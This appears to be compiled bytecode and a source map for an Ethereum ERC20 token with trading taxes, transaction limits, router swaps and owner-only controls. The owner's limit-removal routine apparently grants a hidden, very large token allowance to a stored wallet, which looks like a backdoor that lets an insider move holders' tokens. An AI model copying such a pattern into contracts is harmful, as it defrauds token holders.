f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108e391906116ab565b505060135460125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610938573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061095c91906116d6565b506013805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166109d85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610439565b6001600160a01b038216610a395760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610439565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610afd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610439565b6001600160a01b038216610b5f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610439565b5f8111610bc05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610439565b6013545f908190600160b01b900460ff161580610be65750601354600160a81b900460ff165b15610c9f576001600160a01b0385165f90815260056020526040902054610c0e9084906116f5565b6001600160a01b038087165f908152600560205260408082209390935590861681522054610c3d908490611708565b6001600160a01b038086165f8181526005602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c909087815260200190565b60405180910390a35050505050565b5f546001600160a01b03868116911614801590610cc957505f546001600160a01b03858116911614155b15610f005760115415610cdc5760105491505b6013546001600160a01b038681169116148015610d0757506012546001600160a01b03858116911614155b8015610d2b57506001600160a01b0384165f9081526007602052604090205460ff16155b15610e2a57600154831115610d825760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610439565b60025483610da4866001600160a01b03165f9081526005602052604090205490565b610dae9190611708565b1115610dfc5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610439565b600d5460115411610e0f57600954610e13565b600b545b601180549193505f610e248361171b565b91905055505b6013546001600160a01b038581169116148015610e5057506001600160a01b0385163014155b15610e6f57600e5460115411610e6857600a54610e6c565b600c545b91505b305f90815260056020526040902054601354600160a81b900460ff16158015610ea557506013546001600160a01b038681169116145b8015610eba5750601354600160b01b900460ff165b15610efe5760035481118015610ed35750600f54601154115b15610ef557610ef5610ef085610eeb846004546110f0565b6110f0565b611107565b610efe47611277565b505b8115610f9057610f1b6064610f1584866112b2565b90611330565b305f90815260056020526040902054909150610f379082611371565b305f81815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f879085815260200190565b60405180910390a35b6001600160a01b0385165f90815260056020526040902054610fb290846113cf565b6001600160a01b0386165f90815260056020526040902055610ff5610fd784836113cf565b6001600160a01b0386165f9081526005602052604090205490611371565b6001600160a01b038086165f8181526005602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61103e86856113cf565b604051908152602001610c90565b5f818484111561106f5760405162461bcd60e51b8152600401610439919061143c565b505f61107b84866116f5565b95945050505050565b6110906009600a611636565b61109f906461f313f880611644565b6110aa906064611644565b6110b5906064611708565b6110c0906064611708565b81516001600160a01b039081165f9081526006602090815260408083209582015190931682529390935290912055565b5f8183116110fe5782611100565b815b9392505050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061114d5761114d611733565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156111a4573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111c89190611690565b816001815181106111db576111db611733565b6001600160a01b0392831660209182029290920101526012546112019130911684610976565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906112399085905f90869030904290600401611747565b5f604051808303815f87803b158015611250575f5ffd5b505af1158015611262573d5f5f3e3d5ffd5b50506013805460ff60a81b1916905550505050565b6008546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156112ae573d5f5f3e3d5ffd5b5050565b5f825f036112c157505f610382565b5f6112cc8385611644565b9050826112d985836117b7565b146111005760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610439565b5f61110083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611410565b5f8061137d8385611708565b9050838110156111005760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610439565b5f61110083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061104c565b5f81836114305760405162461bcd60e51b8152600401610439919061143c565b505f61107b84866117b7565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146105bd575f5ffd5b5f5f60408385031215611496575f5ffd5b82356114a181611471565b946020939093013593505050565b5f5f5f606084860312156114c1575f5ffd5b83356114cc81611471565b925060208401356114dc81611471565b929592945050506040919091013590565b5f602082840312156114fd575f5ffd5b813561110081611471565b5f5f60408385031215611519575f5ffd5b823561152481611471565b9150602083013561153481611471565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b600184111561158e578085048111156115725761157261153f565b600184161561158057908102905b60019390931c928002611557565b935093915050565b5f826115a457506001610382565b816115b057505f610382565b81600181146115c657600281146115d0576115ec565b6001915050610382565b60ff8411156115e1576115e161153f565b50506001821b610382565b5060208310610133831016604e8410600b841016171561160f575081810a610382565b61161b5f198484611553565b805f190482111561162e5761162e61153f565b029392505050565b5f61110060ff841683611596565b80820281158282048414176103825761038261153f565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f602082840312156116a0575f5ffd5b815161110081611471565b5f5f5f606084860312156116bd575f5ffd5b5050815160208301516040909301519094929350919050565b5f602082840312156116e6575f5ffd5b81518015158114611100575f5ffd5b818103818111156103825761038261153f565b808201808211156103825761038261153f565b5f6001820161172c5761172c61153f565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b818110156117975783516001600160a01b0316835260209384019390920191600101611770565b50506001600160a01b039590951660608401525050608001529392505050565b5f826117d157634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122055b1278fa333db797624ac2779f08c0e91abfa614ba6d1ce84a384dc3bba60b764736f6c634300081b0033

Deployed Bytecode Sourcemap

3579:7660:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5435:83;;;;;;;;;;-1:-1:-1;5505:5:0;;;;;;;;;;;;-1:-1:-1;;;5505:5:0;;;;5435:83;;;;;;;:::i;:::-;;;;;;;;6260:161;;;;;;;;;;-1:-1:-1;6260:161:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;6260:161:0;945:187:1;4021:48:0;;;;;;;;;;;;;;;;;;;1283:25:1;;;1271:2;1256:18;4021:48:0;1137:177:1;5710:97:0;;;;;;;;;;;;;:::i;6427:311::-;;;;;;;;;;-1:-1:-1;6427:311:0;;;;;:::i;:::-;;:::i;5617:83::-;;;;;;;;;;-1:-1:-1;5617:83:0;;4393:1;1974:36:1;;1962:2;1947:18;5617:83:0;1832:184:1;5813:121:0;;;;;;;;;;-1:-1:-1;5813:121:0;;;;;:::i;:::-;-1:-1:-1;;;;;5906:20:0;5879:7;5906:20;;;:11;:20;;;;;;;5813:121;2666:148;;;;;;;;;;;;;:::i;:::-;;10137:246;;;;;;;;;;;;;:::i;3846:49::-;;;;;;;;;;;;;;;;2452:79;;;;;;;;;;-1:-1:-1;2490:7:0;2517:6;2452:79;;-1:-1:-1;;;;;2517:6:0;;;2419:51:1;;2407:2;2392:18;2452:79:0;2273:203:1;3902:51:0;;;;;;;;;;;;;;;;5524:87;;;;;;;;;;-1:-1:-1;5596:7:0;;;;;;;;;;;;-1:-1:-1;;;5596:7:0;;;;5524:87;;10020:111;;;;;;;;;;;;;:::i;5940:167::-;;;;;;;;;;-1:-1:-1;5940:167:0;;;;;:::i;:::-;;:::i;3960:54::-;;;;;;;;;;;;;;;;10424:812;;;;;;;;;;;;;:::i;6113:141::-;;;;;;;;;;-1:-1:-1;6113:141:0;;;;;:::i;:::-;-1:-1:-1;;;;;6221:16:0;;;6194:7;6221:16;;;:9;:16;;;;;;;;:25;;;;;;;;;;;;;6113:141;6260:161;6335:4;6352:39;2111:10;6375:7;6384:6;6352:8;:39::i;:::-;-1:-1:-1;6409:4:0;6260:161;;;;;:::o;5710:97::-;5763:7;3713:13;4393:1;3713:2;:13;:::i;:::-;3698:28;;:12;:28;:::i;:::-;5783:16;;5710:97;:::o;6427:311::-;6525:4;6542:36;6552:6;6560:9;6571:6;6542:9;:36::i;:::-;6589:119;6598:6;2111:10;6620:87;6656:6;6620:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6620:17:0;;;;;;:9;:17;;;;;;;;2111:10;6620:31;;;;;;;;;;:35;:87::i;:::-;6589:8;:119::i;:::-;-1:-1:-1;6726:4:0;6427:311;;;;;:::o;2666:148::-;2579:6;;-1:-1:-1;;;;;2579:6:0;2111:10;2579:22;2571:67;;;;-1:-1:-1;;;2571:67:0;;;;;;;:::i;:::-;;;;;;;;;2773:1:::1;2757:6:::0;;2736:40:::1;::::0;-1:-1:-1;;;;;2757:6:0;;::::1;::::0;2736:40:::1;::::0;2773:1;;2736:40:::1;2804:1;2787:19:::0;;-1:-1:-1;;;;;;2787:19:0::1;::::0;;2666:148::o;10137:246::-;2579:6;;-1:-1:-1;;;;;2579:6:0;2111:10;2579:22;2571:67;;;;-1:-1:-1;;;2571:67:0;;;;;;;:::i;:::-;3713:13:::1;4393:1;3713:2;:13;:::i;:::-;3698:28;::::0;:12:::1;:28;:::i;:::-;10190:12;:24:::0;3713:13:::1;4393:1;3713:2;:13;:::i;:::-;3698:28;::::0;:12:::1;:28;:::i;:::-;10216:14;:26:::0;10253:53:::1;::::0;;;;::::1;::::0;;;10282:11:::1;::::0;-1:-1:-1;;;;;10282:11:0;;::::1;10253:53:::0;;10295:10:::1;::::0;::::1;10253:53;::::0;::::1;::::0;10317:21:::1;10253:53:::0;10317:12:::1;:21::i;:::-;10345:29;3713:13;4393:1;3713:2;:13;:::i;:::-;3698:28;::::0;:12:::1;:28;:::i;:::-;10345:29;::::0;1283:25:1;;;1271:2;1256:18;10345:29:0::1;;;;;;;10179:204;10137:246::o:0;10020:111::-;2579:6;;-1:-1:-1;;;;;2579:6:0;2111:10;2579:22;2571:67;;;;-1:-1:-1;;;2571:67:0;;;;;;;:::i;:::-;10072:51:::1;::::0;10080:10:::1;::::0;10101:21:::1;10072:51:::0;::::1;;;::::0;::::1;::::0;;;10101:21;10080:10;10072:51;::::1;;;;;;;;;;;;;;;;;;;;10020:111::o:0;5940:167::-;6018:4;6035:42;2111:10;6059:9;6070:6;6035:9;:42::i;10424:812::-;2579:6;;-1:-1:-1;;;;;2579:6:0;2111:10;2579:22;2571:67;;;;-1:-1:-1;;;2571:67:0;;;;;;;:::i;:::-;10486:11:::1;::::0;-1:-1:-1;;;10486:11:0;::::1;;;10485:12;10477:48;;;::::0;-1:-1:-1;;;10477:48:0;;5174:2:1;10477:48:0::1;::::0;::::1;5156:21:1::0;5213:2;5193:18;;;5186:30;5252:25;5232:18;;;5225:53;5295:18;;10477:48:0::1;4972:347:1::0;10477:48:0::1;10536:13;:102:::0;;-1:-1:-1;;;;;;10536:102:0::1;10585:42;10536:102:::0;;::::1;::::0;;;10649:58:::1;::::0;10666:4:::1;::::0;3713:13:::1;4393:1;3713:2;:13;:::i;:::-;3698:28;::::0;:12:::1;:28;:::i;10649:58::-;10750:13;;;;;;;;;-1:-1:-1::0;;;;;10750:13:0::1;-1:-1:-1::0;;;;;10750:21:0::1;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10732:53:0::1;;10808:4;10828:13;;;;;;;;;-1:-1:-1::0;;;;;10828:13:0::1;-1:-1:-1::0;;;;;10828:18:0::1;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10732:127;::::0;-1:-1:-1;;;;;;10732:127:0::1;::::0;;;;;;-1:-1:-1;;;;;5772:32:1;;;10732:127:0::1;::::0;::::1;5754:51:1::0;5841:32;;5821:18;;;5814:60;5727:18;;10732:127:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10718:11;:141:::0;;-1:-1:-1;;;;;10718:141:0;;::::1;-1:-1:-1::0;;;;;;10718:141:0;;::::1;;::::0;;10871:13:::1;::::0;::::1;:29;10908:21;10953:4;10973:24;10953:4:::0;-1:-1:-1;;;;;5906:20:0;5879:7;5906:20;;;:11;:20;;;;;;;5813:121;10973:24:::1;11012:1;11028;11044:7;2490::::0;2517:6;-1:-1:-1;;;;;2517:6:0;;2452:79;11044:7:::1;10871:221;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10871:221:0;;;-1:-1:-1;;;;;6206:32:1;;;10871:221:0::1;::::0;::::1;6188:51:1::0;6255:18;;;6248:34;;;;6298:18;;;6291:34;;;;6341:18;;;6334:34;6405:32;;;6384:19;;;6377:61;11066:15:0::1;6454:19:1::0;;;6447:35;6160:19;;10871:221:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11110:11:0::1;::::0;11139:13:::1;::::0;11103:67:::1;::::0;-1:-1:-1;;;11103:67:0;;-1:-1:-1;;;;;11139:13:0;;::::1;11103:67;::::0;::::1;7128:51:1::0;-1:-1:-1;;7195:18:1;;;7188:34;11110:11:0;::::1;::::0;-1:-1:-1;11103:27:0::1;::::0;7101:18:1;;11103:67:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11181:11:0::1;:18:::0;;-1:-1:-1;;;;11210:18:0;-1:-1:-1;;;11210:18:0;;;10424:812::o;6744:333::-;-1:-1:-1;;;;;6837:19:0;;6829:68;;;;-1:-1:-1;;;6829:68:0;;7717:2:1;6829:68:0;;;7699:21:1;7756:2;7736:18;;;7729:30;7795:34;7775:18;;;7768:62;-1:-1:-1;;;7846:18:1;;;7839:34;7890:19;;6829:68:0;7515:400:1;6829:68:0;-1:-1:-1;;;;;6916:21:0;;6908:68;;;;-1:-1:-1;;;6908:68:0;;8122:2:1;6908:68:0;;;8104:21:1;8161:2;8141:18;;;8134:30;8200:34;8180:18;;;8173:62;-1:-1:-1;;;8251:18:1;;;8244:32;8293:19;;6908:68:0;7920:398:1;6908:68:0;-1:-1:-1;;;;;6987:16:0;;;;;;;:9;:16;;;;;;;;:25;;;;;;;;;;;;;:34;;;7037:32;;1283:25:1;;;7037:32:0;;1256:18:1;7037:32:0;;;;;;;6744:333;;;:::o;7083:2107::-;-1:-1:-1;;;;;7171:18:0;;7163:68;;;;-1:-1:-1;;;7163:68:0;;8525:2:1;7163:68:0;;;8507:21:1;8564:2;8544:18;;;8537:30;8603:34;8583:18;;;8576:62;-1:-1:-1;;;8654:18:1;;;8647:35;8699:19;;7163:68:0;8323:401:1;7163:68:0;-1:-1:-1;;;;;7250:16:0;;7242:64;;;;-1:-1:-1;;;7242:64:0;;8931:2:1;7242:64:0;;;8913:21:1;8970:2;8950:18;;;8943:30;9009:34;8989:18;;;8982:62;-1:-1:-1;;;9060:18:1;;;9053:33;9103:19;;7242:64:0;8729:399:1;7242:64:0;7334:1;7325:6;:10;7317:64;;;;-1:-1:-1;;;7317:64:0;;9335:2:1;7317:64:0;;;9317:21:1;9374:2;9354:18;;;9347:30;9413:34;9393:18;;;9386:62;-1:-1:-1;;;9464:18:1;;;9457:39;9513:19;;7317:64:0;9133:405:1;7317:64:0;7443:11;;7392:13;;;;-1:-1:-1;;;7443:11:0;;;;7442:12;;:22;;-1:-1:-1;7458:6:0;;-1:-1:-1;;;7458:6:0;;;;7442:22;7438:225;;;-1:-1:-1;;;;;7501:17:0;;;;;;:11;:17;;;;;;:26;;7521:6;;7501:26;:::i;:::-;-1:-1:-1;;;;;7481:17:0;;;;;;;:11;:17;;;;;;:46;;;;7560:15;;;;;;;:24;;7578:6;;7560:24;:::i;:::-;-1:-1:-1;;;;;7542:15:0;;;;;;;:11;:15;;;;;;;:42;;;;7604:26;;;;;;;;;;7623:6;1283:25:1;;1271:2;1256:18;;1137:177;7604:26:0;;;;;;;;7645:7;;7083:2107;;;:::o;7438:225::-;2490:7;2517:6;-1:-1:-1;;;;;7677:15:0;;;2517:6;;7677:15;;;;:32;;-1:-1:-1;2490:7:0;2517:6;-1:-1:-1;;;;;7696:13:0;;;2517:6;;7696:13;;7677:32;7673:1096;;;7729:9;;:11;7726:72;;7769:12;;7760:22;;7726:72;7824:11;;-1:-1:-1;;;;;7816:19:0;;;7824:11;;7816:19;:51;;;;-1:-1:-1;7853:13:0;;-1:-1:-1;;;;;7839:28:0;;;7853:13;;7839:28;;7816:51;:78;;;;-1:-1:-1;;;;;;7873:21:0;;;;;;:17;:21;;;;;;;;7871:23;7816:78;7812:392;;;7934:12;;7924:6;:22;;7916:60;;;;-1:-1:-1;;;7916:60:0;;10008:2:1;7916:60:0;;;9990:21:1;10047:2;10027:18;;;10020:30;10086:27;10066:18;;;10059:55;10131:18;;7916:60:0;9806:349:1;7916:60:0;8029:14;;8019:6;8003:13;8013:2;-1:-1:-1;;;;;5906:20:0;5879:7;5906:20;;;:11;:20;;;;;;;5813:121;8003:13;:22;;;;:::i;:::-;:40;;7995:79;;;;-1:-1:-1;;;7995:79:0;;10362:2:1;7995:79:0;;;10344:21:1;10401:2;10381:18;;;10374:30;10440:28;10420:18;;;10413:56;10486:18;;7995:79:0;10160:350:1;7995:79:0;8113:15;;8103:9;;:25;8102:55;;8143:14;;8102:55;;;8130:12;;8102:55;8177:9;:11;;8093:65;;-1:-1:-1;8177:9:0;:11;;;:::i;:::-;;;;;;7812:392;8227:11;;-1:-1:-1;;;;;8221:17:0;;;8227:11;;8221:17;:41;;;;-1:-1:-1;;;;;;8242:20:0;;8257:4;8242:20;;8221:41;8218:149;;;8303:16;;8293:9;;:26;8292:58;;8335:15;;8292:58;;;8321:13;;8292:58;8283:68;;8218:149;8430:4;8381:28;5906:20;;;:11;:20;;;;;;8456:6;;-1:-1:-1;;;8456:6:0;;;;8455:7;:28;;;;-1:-1:-1;8472:11:0;;-1:-1:-1;;;;;8466:17:0;;;8472:11;;8466:17;8455:28;:43;;;;-1:-1:-1;8487:11:0;;-1:-1:-1;;;8487:11:0;;;;8455:43;8451:307;;;8545:17;;8522:20;:40;:74;;;;;8578:18;;8566:9;;:30;8522:74;8519:169;;;8619:69;8636:51;8640:6;8648:38;8652:20;8674:11;;8648:3;:38::i;:::-;8636:3;:51::i;:::-;8619:16;:69::i;:::-;8707:35;8720:21;8707:12;:35::i;:::-;7711:1058;7673:1096;8782:9;;8779:220;;8819:26;8841:3;8819:17;:5;8829:6;8819:9;:17::i;:::-;:21;;:26::i;:::-;8907:4;8887:26;;;;:11;:26;;;;;;8807:38;;-1:-1:-1;8887:41:0;;8807:38;8887:30;:41::i;:::-;8880:4;8860:26;;;;:11;:26;;;;;;;:68;;;;8948:39;;-1:-1:-1;;;;;8948:39:0;;;;;;;8977:9;1283:25:1;;1271:2;1256:18;;1137:177;8948:39:0;;;;;;;;8779:220;-1:-1:-1;;;;;9027:17:0;;;;;;:11;:17;;;;;;:29;;9049:6;9027:21;:29::i;:::-;-1:-1:-1;;;;;9009:17:0;;;;;;:11;:17;;;;;:47;9083:42;9103:21;:6;9114:9;9103:10;:21::i;:::-;-1:-1:-1;;;;;9083:15:0;;;;;;:11;:15;;;;;;;:19;:42::i;:::-;-1:-1:-1;;;;;9067:15:0;;;;;;;:11;:15;;;;;:58;;;;9141:41;;;9160:21;:6;9171:9;9160:10;:21::i;:::-;9141:41;;1283:25:1;;;1271:2;1256:18;9141:41:0;1137:177:1;1210:190:0;1296:7;1332:12;1324:6;;;;1316:29;;;;-1:-1:-1;;;1316:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1356:9:0;1368:5;1372:1;1368;:5;:::i;:::-;1356:17;1210:190;-1:-1:-1;;;;;1210:190:0:o;9196:133::-;3713:13;4393:1;3713:2;:13;:::i;:::-;3698:28;;:12;:28;:::i;:::-;9300:15;;:3;:15;:::i;:::-;9294:21;;:3;:21;:::i;:::-;:27;;9318:3;9294:27;:::i;:::-;9272:8;;-1:-1:-1;;;;;9262:19:0;;;;;;;:9;9272:8;9262:19;;;;;;;9282:8;;;;9262:29;;;;;;;;;;;;:59;9196:133::o;9818:98::-;9875:7;9902:1;9900;:3;9899:9;;9907:1;9899:9;;;9905:1;9899:9;9892:16;9818:98;-1:-1:-1;;;9818:98:0:o;9335:477::-;5082:6;:13;;-1:-1:-1;;;;5082:13:0;-1:-1:-1;;;5082:13:0;;;9437:16:::1;::::0;;9451:1:::1;9437:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9437:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9437:16:0::1;9413:40;;9482:4;9464;9469:1;9464:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9464:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9508:13:::1;::::0;:20:::1;::::0;;-1:-1:-1;;;9508:20:0;;;;:13;;;::::1;::::0;:18:::1;::::0;:20:::1;::::0;;::::1;::::0;9464:7;;9508:20;;;;;:13;:20:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9498:4;9503:1;9498:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9498:30:0;;::::1;:7;::::0;;::::1;::::0;;;;;:30;9571:13:::1;::::0;9539:60:::1;::::0;9556:4:::1;::::0;9571:13:::1;9587:11:::0;9539:8:::1;:60::i;:::-;9610:13;::::0;:194:::1;::::0;-1:-1:-1;;;9610:194:0;;-1:-1:-1;;;;;9610:13:0;;::::1;::::0;:64:::1;::::0;:194:::1;::::0;9689:11;;9610:13:::1;::::0;9731:4;;9758::::1;::::0;9778:15:::1;::::0;9610:194:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;;5118:6:0;:14;;-1:-1:-1;;;;5118:14:0;;;-1:-1:-1;;;;9335:477:0:o;9922:92::-;9979:10;;:27;;-1:-1:-1;;;;;9979:10:0;;;;:27;;;;;9999:6;;9979:10;:27;:10;:27;9999:6;9979:10;:27;;;;;;;;;;;;;;;;;;;;;9922:92;:::o;1408:246::-;1466:7;1490:1;1495;1490:6;1486:47;;-1:-1:-1;1520:1:0;1513:8;;1486:47;1543:9;1555:5;1559:1;1555;:5;:::i;:::-;1543:17;-1:-1:-1;1588:1:0;1579:5;1583:1;1543:17;1579:5;:::i;:::-;:10;1571:56;;;;-1:-1:-1;;;1571:56:0;;12307:2:1;1571:56:0;;;12289:21:1;12346:2;12326:18;;;12319:30;12385:34;12365:18;;;12358:62;-1:-1:-1;;;12436:18:1;;;12429:31;12477:19;;1571:56:0;12105:397:1;1662:132:0;1720:7;1747:39;1751:1;1754;1747:39;;;;;;;;;;;;;;;;;:3;:39::i;879:179::-;937:7;;969:5;973:1;969;:5;:::i;:::-;957:17;;998:1;993;:6;;985:46;;;;-1:-1:-1;;;985:46:0;;12709:2:1;985:46:0;;;12691:21:1;12748:2;12728:18;;;12721:30;12787:29;12767:18;;;12760:57;12834:18;;985:46:0;12507:351:1;1066:136:0;1124:7;1151:43;1155:1;1158;1151:43;;;;;;;;;;;;;;;;;:3;:43::i;1802:189::-;1888:7;1923:12;1916:5;1908:28;;;;-1:-1:-1;;;1908:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1947:9:0;1959:5;1963:1;1959;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:367;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;904:2;889:18;;;;876:32;;-1:-1:-1;;;573:367:1:o;1319:508::-;1396:6;1404;1412;1465:2;1453:9;1444:7;1440:23;1436:32;1433:52;;;1481:1;1478;1471:12;1433:52;1520:9;1507:23;1539:31;1564:5;1539:31;:::i;:::-;1589:5;-1:-1:-1;1646:2:1;1631:18;;1618:32;1659:33;1618:32;1659:33;:::i;:::-;1319:508;;1711:7;;-1:-1:-1;;;1791:2:1;1776:18;;;;1763:32;;1319:508::o;2021:247::-;2080:6;2133:2;2121:9;2112:7;2108:23;2104:32;2101:52;;;2149:1;2146;2139:12;2101:52;2188:9;2175:23;2207:31;2232:5;2207:31;:::i;2481:388::-;2549:6;2557;2610:2;2598:9;2589:7;2585:23;2581:32;2578:52;;;2626:1;2623;2616:12;2578:52;2665:9;2652:23;2684:31;2709:5;2684:31;:::i;:::-;2734:5;-1:-1:-1;2791:2:1;2776:18;;2763:32;2804:33;2763:32;2804:33;:::i;:::-;2856:7;2846:17;;;2481:388;;;;;:::o;2874:127::-;2935:10;2930:3;2926:20;2923:1;2916:31;2966:4;2963:1;2956:15;2990:4;2987:1;2980:15;3006:375;3094:1;3112:5;3126:249;3147:1;3137:8;3134:15;3126:249;;;3197:4;3192:3;3188:14;3182:4;3179:24;3176:50;;;3206:18;;:::i;:::-;3256:1;3246:8;3242:16;3239:49;;;3270:16;;;;3239:49;3353:1;3349:16;;;;;3309:15;;3126:249;;;3006:375;;;;;;:::o;3386:902::-;3435:5;3465:8;3455:80;;-1:-1:-1;3506:1:1;3520:5;;3455:80;3554:4;3544:76;;-1:-1:-1;3591:1:1;3605:5;;3544:76;3636:4;3654:1;3649:59;;;;3722:1;3717:174;;;;3629:262;;3649:59;3679:1;3670:10;;3693:5;;;3717:174;3754:3;3744:8;3741:17;3738:43;;;3761:18;;:::i;:::-;-1:-1:-1;;3817:1:1;3803:16;;3876:5;;3629:262;;3975:2;3965:8;3962:16;3956:3;3950:4;3947:13;3943:36;3937:2;3927:8;3924:16;3919:2;3913:4;3910:12;3906:35;3903:77;3900:203;;;-1:-1:-1;4012:19:1;;;4088:5;;3900:203;4135:42;-1:-1:-1;;4160:8:1;4154:4;4135:42;:::i;:::-;4213:6;4209:1;4205:6;4201:19;4192:7;4189:32;4186:58;;;4224:18;;:::i;:::-;4262:20;;3386:902;-1:-1:-1;;;3386:902:1:o;4293:140::-;4351:5;4380:47;4421:4;4411:8;4407:19;4401:4;4380:47;:::i;4438:168::-;4511:9;;;4542;;4559:15;;;4553:22;;4539:37;4529:71;;4580:18;;:::i;4611:356::-;4813:2;4795:21;;;4832:18;;;4825:30;4891:34;4886:2;4871:18;;4864:62;4958:2;4943:18;;4611:356::o;5324:251::-;5394:6;5447:2;5435:9;5426:7;5422:23;5418:32;5415:52;;;5463:1;5460;5453:12;5415:52;5495:9;5489:16;5514:31;5539:5;5514:31;:::i;6493:456::-;6581:6;6589;6597;6650:2;6638:9;6629:7;6625:23;6621:32;6618:52;;;6666:1;6663;6656:12;6618:52;-1:-1:-1;;6711:16:1;;6817:2;6802:18;;6796:25;6913:2;6898:18;;;6892:25;6711:16;;6796:25;;-1:-1:-1;6892:25:1;6493:456;-1:-1:-1;6493:456:1:o;7233:277::-;7300:6;7353:2;7341:9;7332:7;7328:23;7324:32;7321:52;;;7369:1;7366;7359:12;7321:52;7401:9;7395:16;7454:5;7447:13;7440:21;7433:5;7430:32;7420:60;;7476:1;7473;7466:12;9543:128;9610:9;;;9631:11;;;9628:37;;;9645:18;;:::i;9676:125::-;9741:9;;;9762:10;;;9759:36;;;9775:18;;:::i;10515:135::-;10554:3;10575:17;;;10572:43;;10595:18;;:::i;:::-;-1:-1:-1;10642:1:1;10631:13;;10515:135::o;10655:127::-;10716:10;10711:3;10707:20;10704:1;10697:31;10747:4;10744:1;10737:15;10771:4;10768:1;10761:15;10919:959;11181:4;11229:3;11218:9;11214:19;11260:6;11249:9;11242:25;11303:6;11298:2;11287:9;11283:18;11276:34;11346:3;11341:2;11330:9;11326:18;11319:31;11370:6;11405;11399:13;11436:6;11428;11421:22;11474:3;11463:9;11459:19;11452:26;;11513:2;11505:6;11501:15;11487:29;;11534:1;11544:195;11558:6;11555:1;11552:13;